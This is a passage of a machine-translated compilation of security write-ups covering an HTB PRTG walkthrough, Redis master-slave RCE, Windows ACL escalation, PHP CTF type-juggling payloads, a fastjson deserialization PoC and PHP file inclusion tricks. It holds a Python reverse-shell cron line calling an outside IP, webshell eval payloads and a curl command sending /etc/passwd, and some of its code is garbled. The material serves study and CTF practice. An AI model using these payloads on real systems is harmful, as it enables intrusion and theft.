10.10.14.1 2 341.99 ms 10.10.10.152 NSE: Script Post-scanning. Initiating NSE at 19:46 Completed NSE at 19:46, 0.00s elapsed Initiating NSE at 19:46 Completed NSE at 19:46, 0.00s elapsed Read data files from: /usr/local/bin/./share/nmap OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/. Nmap done: 1 IP address (1 host up) scanned in 93.12 seconds Raw packets sent: 1275 (60.374KB) | Rcvd: 1540 (139.830KB) ! FTP 匿名登录 Discovery ftp can be accessed anonymously: In /Users/Public/user.txt Run the PRTG Network Monitor service on port 80 Discover the configuration file restart.bat under c:\Windows\ 1 2 3 net stop PRTGCoreService copy 'c:\Windows\PRTG Configuration.dat' 'C:\ProgramData\Paessler\PRTG Network Monitor' net start PRTGCoreService The backup file PRTG Configuration.old.bak is found in the C:\ProgramData\Paessler\PRTG Network Monitor directory. Find the plaintext username : prtgadmin. Password PrTg@dmin2018, failed to log in after attempting to log in, PrTg@dmin2019 log in successfully. 已知漏洞搜索 Google searches for PRTG vulnerability and discovers PRTG 18.2.39 Command Injection Vulnerability Get: There is a command execution vulnerability under Notifications under the Devices menu. Under Execute Program Set the parameters to the following figure and save the settings. test.txt;tree /f c:\Users\Administrator c:\output.txt Enter the Devices interface and find that a DNS server is in a down state Add notifications here as shown in the following figure: Find the return result in ftp output.txt Try exporting root.txt under Desktop and change the Execute Program parameters of Notifications under the Devices menu to: View the returned results in ftp:
  17. Redis 基于主从复制的 RCE 利用方式 At the WCTF2019 Final ended on July 7, 2019, Pavel Toporkov, a member of LC/BC, introduced a new version of RCE usage method about redis at the sharing session. This usage method is more general and more harmful than the previous usage method. Let’s start from the previous usage method to talk about redis usage issues. https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf 通过写入文件 GetShell Unauthorized redis will cause GetShell, which is used as follows: 1 2 3 4 5 6 7 8 127.0.0.1:6379 config set dir /var/spool/cron/crontabs OK 127.0.0.1:6379 config set dbfilename root OK 127.0.0.1:6379 get 1 '\n* * * * * /usr/bin/python -c 'import socket,subprocess,os,sys;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\'IP\',6666));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\'/bin/sh\',\'-i\']);'\n' 127.0.0.1:6379 save OK This method is done by writing files to getShell. The main problem with this method is that the data saved by redis is not simple json or csv, so the file written will have a large amount of useless data, similar to 1 2 3 [padding] * * * * * /usr/bin/python -c 'import socket,subprocess,os,sys;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\'115.28.78.16\',6666));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\'/bin/sh\',\'-i\']);' [padding] This kind of files mainly utilizes crontab, ssh key, webshell and other files have certain fault tolerance. In addition, crontab and ssh services can be said to be standard services for the server. Therefore, in the past, this getshell method by writing files can basically be said to be very easy to kill. However, with the continuous development of modern service deployment methods, componentization has become an inevitable trend. Docker is one of the products of this trend. In this deployment model, there will be no services other than redis in a single container, including ssh and crontab. In addition, the strict control of permissions, it is difficult to getshell by writing files alone. In this case, we need other means of exploitation. 通过主从复制 GetShell Redis 主从复制 Redis is an open source, network-based, memory-based, optional persistence-based key-value pair storage database written in ANSI C. However, if the data is stored in a single Redis instance, when the read and write volume is relatively large, the server will be difficult to bear. To cope with this situation, Redis provides master-slave mode. Master-slave mode refers to using a redis instance as the host and other instances are used as backup machines. The data of the host and slave are the same, while the slave is only responsible for reading and the host is only responsible for writing. The pressure of traffic can be greatly reduced through reading and writing separation, which is considered a way to relieve efficiency by sacrificing space. Use two dockers to do the test: 1 docker search redis5 1 docker pull damonevking/redis5.0 1 docker ps The master-slave state can be set through slaveof First set on slave: Then set it on master: On slave, you can find that the data has been synchronized: Redis 模块 After understanding master-slave synchronization, we also need to have some understanding of the redis module. After Reids 4.x, Redis has added module functions. Through external expansion, a new Redis command can be implemented in redis, and .so files can be compiled by writing in C language. Code to write malicious so files https://github.com/RicterZ/RedisModules-ExecuteCommand After git clone, enter the directory and use the make command to compile it to obtain the .so library file. 利用原理 When two Redis instances set master-slave mode, the Redis host instance can synchronize files to the slave via FULLRESYNC. Then load the so file on the slave machine and we can execute the new command to expand. 漏洞复现 Use a simulated malicious server as the host and simulates fullresync requests. https://github.com/LoRexxar/redis-rogue-server (Note: The author used the python3.7 environment to execute successfully) Then enable docker for redis 5.0 Then directly attack the server through POC 1 python3 redis-rogue-server.py --rhost 172.18.0.2 --rport 6379 --lhost 172.18.0.1 (Note: There will be problems when rebounding the shell in the docker environment, so the lhost in this article uses the intranet IP of the docker host. The author will pop up an error when using the external network IP)
  18. 组策略的部署及下发原理 Local Group Policy and Intra-Domain Group Policy How Domain Servers Store Group Policy Group Policy Issuance and Acquisition How does a client store group policy Server Manager 的组策略管理工具 A more professional group policy management tool GPMC, which can manage multiple domains Create and edit the content of a group policy Group policies are divided into host policy and user policy, machine and users directories; Script type and non-script type, script directory Management Group Policy Application Scope (Demo) 组策略的存储 Stored in the server, \domain\sysvol\policies, stored as xml, ini, inf and other files in plaintext Open read permissions to all users in the domain 组策略的更新 The client actively obtains the group policy every 90 minutes to check whether the group policy has changed. Clients use gpupdate /force to force immediately check group policy Parameters can be divided into host and user, gpupdate /force /target:computer 组策略的下发和获取 Query principle of group policy: LDAP searches all group policies, those of their own Query the group policy, the server decides which policies it needs to be returned (version number is an important factor in the decision) ACL 访问控制链 Access Control Link ACL for Windows security objects All Windows objects are called secure objects, files, processes, registry, memory, etc. Assign a security descriptor to each security object Security identifiers (SIDs) for the owner and primary group of an object A DACL that specifies the access rights allowed or denied to particular users or groups a SACL that specifies the types of access attempts that generate audit records for the object DACL DACL consists of multiple ACEs (Access Control Entry) Windows 的访问控制 Windows access control includes three parts : access token, object security descriptor and access check Access tokens are reflected as a container through tokens The object security descriptor represents the security attributes of the target object, and the object gives permissions to different user groups through the security matrix. Access check means that by comparing the access token and the ACL, it determines whether the process has the corresponding permissions to apply for when accessing. If there is improper ACL setting for files and directories owned by high-permission services and processes in Windows, the "write" or even "execution" permissions are opened to low-permission users. Low-permission users can achieve the purpose of executing specified code by modifying and replacing file content. For example, if the Windows System332 directory has opened write permissions, you can write a DLL to the directory and wait for the system to restart. The permissions can be increased by loading programs such as Svchost (demo) ACL 安全审计 The accesschk.exe provided by Sysinternalsuit can perform ACL checks on specified directories and files. The command is accesschk.exe -w -s directory where directory is the directory that needs to be detected. accesschk.exe, can audit the permissions that the process opens to all user groups. Using the rule accesschk.exe -ppid can obtain permissions open to a process, where pid can be used with ‘*’ to detect permissions open to all processes to different user groups. In order to ensure normal operation, higher permissions are required when running Taccesschk.exe 利用 Methods for exploiting process ACL vulnerabilities 第一种 Get the process handle through OpenProcess and write the target code into the process space. Run these codes with the permissions of the process, and the running code permission is the permissions of the process; 第二种 Get the process handle through OpenProcess, and then get the token of the process through OpenProcessToken, and use this Tokeni to use CreateProcessAsUser to createProcessAsUser for the new process. The new process permissions and the target process permissions are consistent. 注册表的 ACL Startup items and service add-ins in the registry If write permissions are developed for low-privileged users, low-privileged users can write specified files to these table entries and wait for the system to restart to achieve permission enhancement. Use the command accesschk.exe -w -s -k HKLM to indicate that the recursive scan of the table entry with write permissions is opened in HKLM.
  19. CTF 中的 PHP 代码审计 1 PHP 弱类型问题 1.1 原理 双等于号:If $a is equal to $b after type conversion 三等于号:All equal to True If $a equals $b and their types are the same If a value is compared with a string, the string is converted to a value Common comparison results: 1 2 3 4 5 6 7 8 9 ''==0==false '123'==123 'abc'==0 '123a'==123 '0x01'==1 '0e123456789'=='0e987654321' false==0==NULL=='' NULL==false==0 true==1 1.2 实例 1.2.1 MD5 等 hash 函数相关题目 1.2.1.1 DEMO 1 Payload: url?param1=QNKCDZOparam2=aabg7XSs 1.2.2.2 DEMO 2 Payload: url?param1[]=1param2[]= 1.2.2.3 DEMO 3 After String casting, when passing in an array, the return value is Array fail, which cannot be bypassed, so it adopts the form of MD5 collision. Tool: fastcoll Payload: 1.2.2.4 DEMO 4 Payload: url?name[]=1password[]= 1.2.2.5 DEMO 5 - MD5 与 SQL 注入的融合 Payload: url?password=ffifdyop 1.2.2 JSON 相关题目 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 ?php highlight_file(__FILE__); include 'flag.php'; if(isset($_POST['message'])) { $message=json_decode(_$POST['message']); if($message-key==$key) { echo $flag; } else { echo 'fail'; } } else { echo '~~~~'; } ? Principle: Comparison of string flag{xxx} with number 0, the result is True Payload: url?message={'key':0} 1.2.3 SWITCH 相关题目 Principle: When determining whether switch is a case of numeric type, switch will convert the parameters in it to int type. When judged by switch, it is double equal to type 1 2 3 4 5 6 7 8 9 10 11 12 13 14 ?php highlight_file(__FILE__); $i='3nanme'; switch ($i) { case 0: case 1: case 2: echo 'this is two'; break; case 3: echo 'flag'; break; } ? 1.2.4 STRCMP 相关题目 Principle: Use the parameters in strcmp as an array, the return value is NULL, which is equal to 0 in non-strict comparison. 1 2 3 4 5 6 7 8 9 10 11 12 13 ?php highlight_file(__FILE__); include 'flag.php'; if(isset($_POST['password'])) { if(strcmp($_POST['password'], $password)==0) { echo 'Right!login success'; echo $flag; exit(); } else { echo 'Wrong password.'; } } ? Payload: url?password[]= 1.2.5 in_array 函数 1 2 3 4 5 6 ?php highlight_file(__FILE__); $array=[0, 1, 2, '3']; var_dump(in_array('abc', $array)); var_dump(in_array('1bc', $array)); var_dump(in_array(3, $array)); The return result is: true, true, true 1.2.6 array_search 函数 Search for the given value in the array, and if successful, return the first corresponding key name. 1 2 3 4 5 6 7 ?php highlight_file(__FILE__); $array=[0, 1, 2, '3']; var_dump(array_search('abc', $array)); var_dump(array_search('1bc', $array)); var_dump(array_search(3, $array)); var_dump(array_search('3', $array)); The return results are: 0, 1, 3, 3 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 ?php if (!is_array($_GET['test'])) { exit(); } $test=$_GET['test']; for ($i=0; $i count($test); $i++) { if ($test[$i]==='admin') { echo 'error'; exit(); } $test[$i]=intval($test[$i]); } if (array_search('admin', $test)===0) { echo 'flag'; } else { echo 'false'; } Payload: url?test[0]=0 1.2.7 strpos 函数 1 2 3 4 5 ?php var_dump(strpos('abcd', 'a')); //int(0) var_dump(strpos('abcd', 'a')==false); //bool(true) 2 变量覆盖问题 2.1 extract 函数 demo: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 ?php highlight_file(__FILE__); include 'flag.php'; extract($_GET); if(isset($gift)) { $content=trim(file_get_contents($flag)); if($gift==$content) { echo $trueflag; } else { echo 'Oh.'; } } ? Let file_get_content() return value be empty, and you can bypass it. Payload:gift=flag= 2.2 遍历初始化变量 Since $$ can be used in php to declare variables, the original value may be overwritten when traversing the array. 1 2 3 4 5 6 7 8 9 10 11 ?php highlight_file(__FILE__); $a='helloworld'; echo $a; echo '$a'; echo 'br /' foreach($_GET as $key=$value) { $$key=$value; } echo '$a'; ? Both $key and $value are controllable, so modify the point of $a variable at line 8 of the code, so that $key=a, $$key=$a, $value is the value you want to modify Payload: url?a=afterChange Demo: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 twenty one twenty two twenty three ?php highlight_file(__FILE__); include 'flag.php'; $_403='Access Denied'; $_200='Welcome Admin'; if($_SERVER['REQUEST_METHOD'] !='POST') { die('BugsBunnyCTF is here:p.'); } if (!isset($_POST['flag'])) { die($_403); } foreach ($_GET as $key=$value) { $$key=$$value; } foreach ($_POST as $key=$value) { $$key=$value; } if($_POST['flag'] !==$flag) { die($_403); } echo 'This is your flag : '. $flag . '\n'; die($_200); ? Payload: url?_200=flag + post: flag=123 2.3 parse_str 函数 Demo: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 ?php include 'flag.php'; if(empty($_GET['id'])) { show_source(__FILE__); die(); } else { include('flag.php'); $a='www.OPENCTF.com'; $id=$_GET['id']; @parse_str($id); if($a[0] !='QNKCDZO' md5($a[0])==md5('QNKCDZO')) { echo $flag; } else { exit('It's actually very simple and not difficult!'); } } ? Payload: url?id=a[0]=s878926199a Skill Since PHP variable names cannot have "dots" and "spaces", they will be converted into underscores in the parase_str function. 1 2 3 ?php $a=$_GET['a_a']; echo $a; When the passed parameter is named: url?a.a=123, it will be converted into a_a, so the content can be output normally 3 空白符相关 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 twenty one twenty two twenty three twenty four 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 ?php highlight_file(__FILE__); include 'flag.php'; $info=''; $req=[]; ini_set('display_error', false); error_report(0); if(!isset($_GET['number'])) { die('have a fun!'); } foreach([$_GET, $_POST] as $global_var) { foreach($global_var as key=$value) { $value=trim($value); is_string($value) $req[$key]=addslashes($value); } } function is_palindrome_number($number) { $number=strval($number); $i=0; $j=strlen($number) - 1; while($i $j) { if($number[$i] !==$number[$j]) { return false; } $i++; $j--; } return true; } if(is_numeric($_REQUEST['number'])) { $info='Sorry, you can not input a number!'; } else if($req['number'] !=strval(intval($req['number']))) { $info='number must be equal to it\'s integer!'; } else { $value1=intval($req['number']); $value2=intval(strrev($req['number'])); if($value1 !=$value2) { $info='no, this is not a palindrome number'; } else { if(is_palindrome_number($req['number'])) { $info='nice! {$value1} is a palindrome number!' } else { $info=$flag; } } } echo $info; ? 3.1 intval 函数 Returns the interger value of var successfully and 0 on failure. Empty array returns 0, non-empty array returns 1 The maximum value depends on the operating system The maximum signed integer range for 32-bit operating systems is -2147483648 to 2147483647 On a 64-bit system, the maximum signed integer value is 9223372036854775807 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 ?php echo intval(42); //42 echo intval(4.2); //4 echo intval('42'); //42 echo intval('+42'); //42 echo intval('-42'); //-42 echo intval(042); //34 echo intval('042'); //42 echo intval(1e10); //1000000000 echo intval('1e10'); //1 echo intval(0x1A); //26 echo intval(42000000); //42000000 echo intval(420000000000000000000); //0 echo intval('420000000000000000000'); //2147483647 echo intval(42, 8); //42 echo intval('42', 8); //34 echo intval(array()); //0 echo intval(array('foo', 'bar')); //1 ? 3.2 浮点数精度 3.3 is_numeric 函数 When the passed string contains special symbols such as spaces, \t \r \n \v \f, the return result is still true 3.3 trim 函数 Function comparison: Source code trim Remove\t\n\r\0\x0B is_numeric, intval Skip\t\n\r\f\v payload :number=%00%0c121 4 伪随机数相关 4.1 mt_rand 函数 If we specify the range ourselves, it is easy to burst if it is too small. Therefore, in most practical applications, the range is not specified. The default range of the mt_rand() function is a pseudo-random number between 0 and mt_getrandmax() The random numbers generated by the same seed are the same, so you can get the value of another rand on the same page by inversely minusing the seed of mt_rand
  20. fastjson 反序列化任意命令执行漏洞 漏洞原理 http://xxlegend.com/2017/04/29/title-%20fastjson%20%E8%BF%9C%E7%A8%8B%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96poc%E7%9A%84%E6%9E%84%E9%80%A0%E5%92%8C%E5%88%86%E6%9E%90/ https://github.com/shengqi158/fastjson-remote-code-execute-poc In the process of parsing json, fastjson supports the use of autoType to instantiate a specific class and fills its attribute value through json. The JDK's own class com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl has a private property_bytecodes, and some methods will execute the Java bytecode contained in this value. Therefore, if you want to use the _bytecodes attribute of TemplatesImpl to execute arbitrary commands, there are several conditions: The target website uses the fastjson library to parse json Feature.SupportNonPublicField is set during parsing, otherwise it does not support incoming private properties. The TemplatesImpl class exists in the jdk used by the target Of course, it is not ruled out that there are other methods that do not require TemplatesImpl 漏洞复现 The directory structure of this environment is as follows: src This project source code main/java java class IndexFilter.java web source code Poc.java POC source code pom.xml configuration file, using maven, you can directly compile this project into a war package exploit.php reads compiled POC bytecode and converts it to base64 fastjson-1.0.war The packaged web environment can be directly placed under tomcat to run 生成字节码 The first step is to write a Java class and execute commands in this class. Then compile the class, get the .class file, and get the bytecode. Modify the command you want to execute in Poc.java, and then use maven to compile this project in this directory to generate target/classes/Poc.class: 1 mvn compile If maven is not installed, you can also use the WEB-INF/classes/Poc.class in the compressed package fastjson-1.0.war directly. This class file I have compiled is read in exploit.php. 构造POC After generating the .class file, base64 encoding of the content of the file and place it in json at the value of _bytecodes, as follows: 1 {'@type':'com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl','_bytecodes':['yv66vgAAADQANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAVMUG9jOwEACkV4Y2VwdGlvbnMHACwB AAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF 4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi 9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b 3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQByKExjb20vc3VuL29yZy9hcGFj aGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmmlhbGl6YXRpb25IYW5kbGVyOylWAQAJaGF GbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7BwAtAQAEbWFpbgEAFihbTGphdmEvbGFuZy 9TdHJpbmc7KVYBAARhcmdzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEAAXQHAC4BAApTb3VyY2VGaWxlAQAIUG9jLmphdmEMAAgACQcALwwAMAAxAQAhb3BlbiAvQXBwbGljYXRpb 25zL0NhbGN1bGF0b3IuYXBwDAAyADMBAANQb2MBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2 YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABF qYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3 M7ACEABQAHAAAAAAAEACAAAAAAAAAAJAAIACgAAAAAAAAAGAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA8AAAAAAEAAEAE AABABEAEgABAAoAABJAAAAABAAAAAAGxAAAAAAAAGALAAAAAABgABAAAAAEQAMAAAAKgAEAAAAAQANAA4AAAAAAAAEAEwAUAAAAAAABABUAFgACAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABUAFgACAAAAAAAAQAXABgAAWABEAGQACAAOAAAAA/AAAAAwAAAAGxAAAAAgALAAAABgABAAAAFgAMAAAAIAADAAAAAQANAA4AAAAAAAEAEwAUAAEAAAABABoAGwACAA8AAAAEAAEAHAAJAB0AHgACAAoAAABBAAIAAgAAAAm7AAVZtwA GTLEAAAACAAsAAAAKAAAAAAZAAAGAGgAMAAAAFgACAAAAACQAfACAAAAAIAIAEAIQAOAAEADwAAAAQAAQAiAAAEAIwAAAAAAAAAAAJA=='],'_name':'a.b','_tfactory':{ },'_outputProperties':{ },'_version':'1.0','allowedProtocols':'all'} If you want to use a compiled .class file, you can directly execute php exploit.php to obtain POC: Compiled with jdk1.8, the command executed is touch /tmp/success, so the execution will fail under Windows. Windows users please modify Poc.java by themselves and generate their own POC. 漏洞利用 The target is a web application, and the access returns "Hello world". Normally, a json is POST, and the target will extract the name and age in the json object and splice it into one sentence to return: Send the POC obtained in step 2 and execute the command successfully: As shown in the figure above, the /tmp/success file was successfully created.
  21. PHP 文件包含漏洞 1 相关函数 include() include_once() require() require_once() 2 分类 Remote file contains Local files contain 3 包含的实现 When including, you do not necessarily need to include the php file (that is, the executed php file) Similar to: a.phps, a.xxx, a.jpg As long as the file contains a complete piece of php code, such as a.txt, the content is ?php phpinfo(); 4 包含的场景 4.1 上传可控文件 For example, if we can upload images, then pass an image file with the complete php code, or change the code file to the suffix Compressed package, in line with pseudo-protocol ?php ? Filtering situation: 1 script language='php'@eval($_POST['a']);/script 4.2 远程文件包含 4.2.1 条件 allow_url_fopen This option activates the fopen encapsulation protocol in the form of URLs to enable access to URL objects such as files. The default encapsulation protocol provides access to remote files using the ftp and http protocols, and some extension libraries such as zlib may register more encapsulation protocols. 4.2.2 远程文件包含 [http|https|ftp]://www.bbb.com/shell.txt If the suffix name is written to the dead, can it be used? Bypassed pyload: 1 aaa.com/1.php?a 4.3 伪协议 4.3.1 PHP 归档 phar:// zip:// DEMO:http://106.12.37.37/index.php?url=upload payload: url=zip://a.zip#File name in the compressed package url=phar://a.zip/file name in the compressed package The uploaded file does not have the suffix name, as long as it is a file with the zip file header, the zip file is changed to jpg, and the zip://protocol can still be parsed 4.3.2 利用 PHP 流 4.3.2.1 php://filter Metapacker designed for filtering applications when data streams are opened. This is very useful for all-in-one file functions, like readfile(), file(), and file_get_contents(), where no other filters are applied before the data stream content is read. php://filter target uses the following parameters as part of its path. The composite filter chain can be specified on one path. For detailed use of these parameters, please refer to specific examples. ?file=php://filter/read=convert.base64-encode/resource=index.php ?file=php://filter/read=string.toupper|string.rot13/resource=index.php In addition, there are: 1 2 3 4 5 6 7 string.toupper //It's written on it string.tolower //Convert to lowercase string.strip_tags //Remove html and php tags, such as ?php? convert.base64-encode //base64 encoding convert.base64-decode //base64 encoding convert.quoted-printable-encode //quoted-printable to 8bit convert.quoted-printable-decode //Same as above DEMO: http://chinalover.sinaapp.com/web7/index.php 4.3.2.2 php://input Utilization conditions allow_url_include=On No requirements for allow_url_fopen php://input can read unprocessed POST data Payload: Url:key=123flag=php://input Post: 123 4.4 日志文件 Many times, the web server will write the request to the log file. For example, when apache initiates a request, it will write the request to access error.log. By default, the log save path is in /var/log/apache2/ www The user does not have permission to read the log, and the application scenarios are limited. 4.5 SESSION The session files generated by PHP are often stored in the /tmp directory 4.5.1 session 文件 Register a sentence username and include session file http://512ab969d9ce414e9349e459f7bfe9d1b601c9951aa24093.changame.icunqiu.com/action.php?module=file=./././././././tmp/SESS/sess_tftrtvb6t089398jjl0p1cdvj7a=system('cat flag.php'); 4.5.2 session.upload session.upload_progress.enabled This parameter is enabled by default in php.ini and needs to be manually configured as OFF. If it is not off, an upload progress file will be generated during the upload process. Its appearance is to display the progress of the file during uploading to display the information of file uploading. Its storage path can be obtained in phpinfo (as shown in the picture above) Demo: 1 2 3 ?php ($_=@_GET['orange']) @substr(file($_)[0],0,6)==='@?php' ? include($_) : highlight_file(__FILE__); ? This session file does not have to be generated by session_start. As long as you send a value of Cookie: PHPSESSID=xxx to the server, and then upload the file using session upload, such a session file will be generated. Upload files via curl: 1 curl http://IP/index.php -H 'Cookie:PHPSESSID=iamnotorange' -F 'PHP_SESSION_UPLOAD_PROGRESS=aaa' -F 'file=@/etc/passwd' This way you can control the file name, and then find a way to control the file content. Because the file upload speed is relatively fast, sometimes it is often too late to see the upload information saved in the session file and it will be deleted. We can upload a relatively large file and compete in terms of conditions. Let’s first look at the contents of the file saved in the session. Here is a form like this, upload.php 1 2 3 4 5 6 7 8 9 10 11 12 form action='upload.php' method='POST' enctype='multipart/form-data' input type='hidden' name='?php echo ini_get('session.upload_progress.name');' value='iamnotorange' / input type='file' name='file1' / input type='file' name='file2' / input type='submit' / /form ?php session_start(); $name=ini_get('session.upload_progress.name'); $key=ini_get('session.upload_progress.prefix') . $_POST[$name]; var_dump($_SESSION[$key]); include '/var/lib/php/sessions/sess_iamnotorange'; Then start a multi-threading several times and you can see the file contents read through conditional competition: You can find that the upload_progress_ in the file is fixed and uncontrollable. Next, there is another condition that substr(file($_)[0],0,6)==='@?php', I thought of using the pseudo protocol in php to modify the file content. Reference: https://www.leavesongs.com/PENETRATION/php-filter-magic.html#_1 Base64's pre-knowledge The string set encoded by base64 is [0-9a-zA-Z+/=] Therefore, when decoding, when encountering characters other than this, those characters will be skipped. Only characters in this range are decoded. In this example, _ is automatically skipped as a special character when decoding base64. So just decrypt the previous upload_progress_ many times to make it empty 1 2 3 4 5 6 7 8 9 10 11 $i=0; $data='upload_progress_'; while(true){ $i +=1; $data=base64_decode($data); var_dump($data); if($data==''){ echo 'A total of :'.$i,'times\n'; break; } } Through the script, you can see that the previous content can be converted into empty in just three times. However, since base64 decodes 4 characters into a group. upload_progress_ does not satisfy the allowable character to be multiples of 4 after three decoding (14 valid characters, and at least 16 valid characters are required), and the subsequent characters will be counted into the padding, thus destroying the original incoming php code. Example 1 2 3 4 5 6 7 8 9 10 function triple_base64_encode($str){ return base64_encode(base64_encode(base64_encode(base64_encode($str))); } function triple_base64_decode($str){ return base64_decode(base64_decode(base64_decode(base64_decode($str))); } $i=0; $data='upload_progress_'.triple_base64_encode('?=\`id\`;'); echo triple_base64_decode($data); What is the decoded data? In the three decoding, upload_progress_ZZ is left with four allowed characters hikY after the first decoding. The second decoding does not allow characters, and the third decoding becomes empty. In these three times, the number of characters allowed is multiples of 4, so that the php code passed in later will not be destroyed. Blasting script: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 ?php $str='ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz'; while(true) { $i=0; $data='upload_progress_'.substr(str_shuffle($str),10,2); $s=base64_decode($data); $s_length=strlen(preg_replace('|[^a-z0-9A-Z+/]|s', '', $s)); $ss=base64_decode($s); $ss_length=strlen(preg_replace('|[^a-z0-9A-Z+/]|s', '', $ss)); $sss=base64_decode($ss); if($s_length%4==0 $ss_length%4==0 $sss=='') { echo $data; break; } } There is also a requirement for the subsequent php code, that is,=cannot appear in three decryptions, because=in base64 can only be placed in the last fill-in of the encoding. If it appears in the middle, the php://filter/convert.base64-decode stream cannot be parsed normally, and an error will be reported. In this regard, Master oragne wrote a script to generate this thing: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 import string from base64 import b64encode from random import sample, randint payload='@?php file_put_contents('/tmp/web', '@?php eval($_GET[1])?');' While 1: junk=''.join(sample(string.ascii_letters, randint(8, 16))) x=b64encode(payload + junk) xx=b64encode(b64encode(payload + junk)) xxx=b64encode(b64encode(b64encode(payload + junk))) if '=' not in x and '=' not in xx and '=' not in xxx: print(xxx) break VVVSM0wyTkhhSGRKUjFwd1lrZFdabU5JVmpCWU1rNTJZbTVTYkdKdVVucExRMk4yWkVjeGQwd3paR3haYVdOelNVTmtRVkJFT1hkaFNFRm5XbGhhYUdKRFoydFlNR1JHVmtaemVGaFRheTlRYVdOd1QzbEJMMUJzVGxGVmEwNUZWbXh3YTFSRk5UTmlNMHB6 4.6 ./ 长文件名截断 payload:page=phpinfo.txt…………………………………………………………………………………………………. or page=phpinfo.txt././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././ 4.7 phpinfo When submitting a form-data request to any php file on the server to upload data, a temporary file will be generated. The path and name of the temporary file will be obtained through phpinfo. Then, when the temporary file is deleted in a very short time, the competition time includes the temporary file and get the webshell https://github.com/vulhub/vulhub/blob/master/php/inclusion/exp.py 4.8 PHP 自包含 Upload - Temporary File End of session - Delete temporary files phpinfo() - Temporary file name Interrupt the deletion process /a.php?include=a.php In this way, a.php will include itself, and when the included a.php attempts to process the url's inclusion request again, it will include itself again, forming infinite recursion. Recursion will cause the stack to explode, making php unable to perform subsequent processing of this request, and then it can include it. Self-contained, causing php to stop demo: "Baidu Cup" CTF match December game - Blog Advanced Edition Register an account, the POST page exists insert type SQL injection to obtain the administrator account Log in to the admin account and find that there are any inclusions under the manage page Exploiting self-contained vulnerability to upload webshell in the tmp folder 4.9 PHP 崩溃 Local file inclusion vulnerability can make php include itself, causing a dead loop, and then php will crash. If there is a request to upload a file at the same time in the request, the file will be retained. include.php?file=php://filter/string.strip_tags/resource=/etc/passwd include.php?file=php://filter/string.strip_tags/resource=/etc/passwd Can cause php to be executed Segment Fault Imagine that I can exploit the local file inclusion vulnerability In previous online analysis articles, local file inclusion vulnerabilities can allow php to include itself, resulting in a dead loop Then php will crash. If there is a request to upload a file at the same time in the request, the file will be retained 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 twenty one twenty two twenty three twenty four 25 26 27 28 29 30 31 #!/usr/bin/env python # -*- coding: utf-8 -*- import requests import string import itertools charset=string.digits + string.letters host='192.168.43.155' port=80 